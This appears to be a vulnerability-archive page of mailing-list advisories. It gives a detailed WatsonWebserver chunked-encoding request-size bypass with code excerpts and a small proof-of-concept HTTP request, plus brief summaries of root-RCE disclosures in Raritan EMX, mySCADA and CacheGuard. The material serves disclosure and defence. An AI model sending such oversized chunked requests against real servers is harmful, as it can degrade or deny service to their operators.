Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Credits

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          "value": "WatsonWebserver contains an HTTP/1 request body size-limit bypass when\nprocessing requests using Transfer-Encoding: chunked.\n\nThe framework\u0027s configured Settings.IO.MaxRequestBodySize limit is enforced\nwhen a request declares its body size using Content-Length. However,\nrequests using chunked transfer encoding are processed through a separate\nbody-reading path that accumulates decoded chunks into a MemoryStream\nwithout enforcing the same cumulative request-body limit.\n\nAs a result, a remote client can submit an HTTP/1 request whose decoded\nbody exceeds the administrator-configured MaxRequestBodySize by using\nchunked transfer encoding instead of Content-Length.\n\nA proof of concept configured:\n\nMaxRequestBodySize = 16 bytes\n\nand submitted a chunked request containing:\n\n24 bytes\n\nof decoded body data.\n\nWatsonWebserver accepted the complete request, delivered all 24 bytes to\nthe application, and returned:\n\nHTTP/1.1 200 OK\n\nlen=24\n\nThis confirms that MaxRequestBodySize is not consistently enforced across\nsupported HTTP/1 request-framing mechanisms.\n\nBecause the chunked body is accumulated in memory without a cumulative\nMaxRequestBodySize check, an attacker may also be able to cause excessive\nmemory and CPU consumption by submitting substantially larger request\nbodies. The supplied PoC directly demonstrates the size-limit bypass;\ndenial of service is a potential consequence rather than a demonstrated\nresult of the 24-byte test.\n\n\nVulnerability Description\n\nWatsonWebserver provides the following configuration setting for\nrestricting HTTP request body size:\n\nSettings.IO.MaxRequestBodySize\n\nFor HTTP/1 requests containing a Content-Length header, WatsonWebserver\nparses the declared body size and rejects the request when it exceeds the\nconfigured maximum.\n\nHowever, HTTP/1 also permits request bodies to be framed using:\n\nTransfer-Encoding: chunked\n\nChunked requests do not contain a single up-front Content-Length. Instead,\nthe body is transmitted as a sequence of independently sized chunks.\n\nWatsonWebserver handles these requests through ReadChunkedBodyAsync(),\nwhich repeatedly reads chunks and writes their contents into an in-memory\nMemoryStream.\n\nThe implementation does not maintain a cumulative decoded-body length and\ndoes not compare the accumulated size against Settings.IO.MaxRequestBodySize\n.\n\nConsequently, a client can bypass the configured request body limit simply\nby changing the HTTP framing mechanism from Content-Length to\nTransfer-Encoding:\nchunked.\n\n\nTechnical AnalysisContent-Length Path\n\nWhen WatsonWebserver encounters a request containing Content-Length, the\nparsed length is stored in:\n\nmetadata.ContentLength = parsedContentLength;\n\nThe framework subsequently enforces MaxRequestBodySize:\n\nif (settings.IO.MaxRequestBodySize \u003e 0 \u0026\u0026\n    metadata.ContentLength \u003e settings.IO.MaxRequestBodySize)\n{\n    throw new IOException(\n        \"Request body size \"\n        + metadata.ContentLength\n        + \" exceeds maximum allowed size \"\n        + settings.IO.MaxRequestBodySize\n        + \".\");\n}\n\nThe configured maximum is therefore enforced for requests whose body\nlength is known through Content-Length.\n\n\nChunked Request Path\n\nRequests using:\n\nTransfer-Encoding: chunked\n\nfollow a different body-processing path.\n\nThe relevant implementation is:\n\nprivate async Task\u003cbyte[]\u003e ReadChunkedBodyAsync(\n    CancellationToken token)\n{\n    using (MemoryStream memoryStream = new MemoryStream())\n    {\n        while (true)\n        {\n            Chunk chunk =\n                await ReadChunk(token)\n                .ConfigureAwait(false);\n\n            if (chunk.Data != null \u0026\u0026\n                chunk.Data.Length \u003e 0)\n            {\n                memoryStream.Write(\n                    chunk.Data,\n                    0,\n                    chunk.Data.Length);\n            }\n\n            if (chunk.IsFinal)\n                break;\n        }\n\n        _BodyComplete = true;\n\n        return memoryStream.ToArray();\n    }\n}\n\nEach decoded chunk is appended directly to the MemoryStream:\n\nmemoryStream.Write(\n    chunk.Data,\n    0,\n    chunk.Data.Length);\n\nThere is no equivalent check against:\n\nSettings.IO.MaxRequestBodySize\n\nbefore the write.\n\nThe loop continues until the terminating chunk is received.\n\n\nProof of ConceptServer Configuration\n\nThe proof of concept configures WatsonWebserver with:\n\nserver.Settings.IO.MaxRequestBodySize = 16;\n\nThe maximum accepted request body should therefore be:\n\n16 bytes\n\nMalicious Request\n\nThe client submits a valid chunked HTTP/1 request:\n\nPOST / HTTP/1.1\nHost: 127.0.0.1\nTransfer-Encoding: chunked\nConnection: close\n\n8\nabcdefgh\n8\nijklmnop\n8\nqrstuvwx\n0\n\nThe request contains three chunks.\n\nEach chunk contains:\n\n8 bytes\n\ngiving a cumulative decoded request body of:\n\n8 + 8 + 8 = 24 bytes\n\nThe body therefore exceeds the configured limit by:\n\n24 - 16 = 8 bytes\n\nor:\n\n150% of the configured maximum.\n\nObserved HTTP Response\n\nWatsonWebserver accepts the request and returns:\nHTTP/1.1 200 OK Content-Type: text/plain Content-Length: 6 Date: Thu, 06\nAug 2026 01:16:34 GMT Connection: close Access-Control-Allow-Origin: *\nAccess-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH\nAccess-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: */*\nAccept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Cache-Control:\nno-cache Host: 127.0.0.1:44009 len=24\n\nThe application reports:\nlen=24\n\nconfirming that the complete decoded body reached the application despite:\nMaxRequestBodySize = 16\n\nSecurity ImpactConfirmed Impact\n\nThe PoC directly demonstrates that a remote HTTP client can bypass the\nconfigured:\n\nSettings.IO.MaxRequestBodySize\n\nrestriction when using chunked transfer encoding.\n\nThe confirmed impact is therefore:\n\n   - bypass of the configured HTTP request-body size restriction;\n   - acceptance of request bodies larger than the administrator-defined\n   maximum; and\n   - in-memory processing of data that should have been rejected by the\n   configured limit.\n\nResource Consumption\n\nThe affected chunked path accumulates the decoded body in a MemoryStream:\n\nmemoryStream.Write(\n    chunk.Data,\n    0,\n    chunk.Data.Length);\n\nand ultimately performs:\n\nreturn memoryStream.ToArray();\n\nBecause there is no cumulative MaxRequestBodySize check in this path,\nsubstantially larger request bodies can potentially consume increasing\namounts of process memory and processing time.\n\nDepending on deployment configuration, available resources, concurrency,\nreverse proxies, transport timeouts, and application-specific controls,\nthis may contribute to:\n\n   - excessive memory consumption;\n   - increased CPU utilization;\n   - request-processing degradation; and\n   - denial of service.\n\nThe supplied 24-byte PoC demonstrates the *security-control bypass*, not\nresource exhaustion itself.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0140

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:53
VLAI
Title
[0day-rubbish] Raritan EMX firmware emx_ecx_3.6.1_46982 (EMX/ECX gateway) Authenticated config injection to root RCE (8.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Raritan EMX firmware emx_ecx_3.6.1_46982 (EMX/ECX gateway). Type: Authenticated config injection to root RCE (CWE-74) CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) Impact: Full root compromise of the PDU management gateway, placing power telemetry and rack power infrastructure under attacker control. Authentication: authenticated (requires valid session) Full technical analysis and a reproducible proof-of-concept: https://0day-rubbish.com/blog/raritan-emx-port-mux-proto-listener-root-rce Project archive (ongoing disclosure series): https://github.com/Exploit-Garbage/0day-Rubbish Vendor has been notified. CVE ID is pending. -- 0day Rubbish Research Team disclosure () 0day-rubbish com https://0day-rubbish.com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Raritan EMX firmware Affected: unknown
Create a notification for this product.

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GCVE-1988-2026-0139

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:53
VLAI
Title
[0day-rubbish] mySCADA PRO Runtime 9.4.0 (container deployment msxrun; earlier versions with the same upgrade branch are likely affected) Unauthenticated OS command injection to root RCE (9.4)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in mySCADA PRO Runtime 9.4.0 (container deployment msxrun; earlier versions with the same upgrade branch are likely affected). Type: Unauthenticated OS command injection to root RCE (CWE-78) CVSS: 9.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Impact: Unauthenticated root command execution on the SCADA runtime, enabling process data theft, configuration tampering, and disruption of industrial monitoring. Authentication: unauthenticated / pre-auth Full technical analysis and a reproducible proof-of-concept: https://0day-rubbish.com/blog/myscada-runtime-unauth-upgrade-cmd-injection Project archive (ongoing disclosure series): https://github.com/Exploit-Garbage/0day-Rubbish Vendor has been notified. CVE ID is pending. -- 0day Rubbish Research Team disclosure () 0day-rubbish com https://0day-rubbish.com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Myscada PRO Runtime Affected: unknown
Create a notification for this product.

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GCVE-1988-2026-0135

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:53
VLAI
Title
[0day-rubbish] CacheGuard OS UF-2.5.2 Authenticated RCE via config-import eval injection (8.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in CacheGuard OS UF-2.5.2. Type: Authenticated RCE via config-import eval injection (CWE-94) CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Impact: Authenticated escalation from the restricted admin shell to arbitrary command execution, placing gateway configuration, WAF rules, and TLS keys under attacker control. Authentication: authenticated (requires valid session) Full technical analysis and a reproducible proof-of-concept: https://0day-rubbish.com/blog/cacheguard-authed-conf-inject-eval-rce Project archive (ongoing disclosure series): https://github.com/Exploit-Garbage/0day-Rubbish Vendor has been notified. CVE ID is pending. -- 0day Rubbish Research Team disclosure () 0day-rubbish com https://0day-rubbish.com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Cacheguard OS UF-2.5.2 Affected: unknown
Create a notification for this product.

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displaying 211 - 220 publications in total 581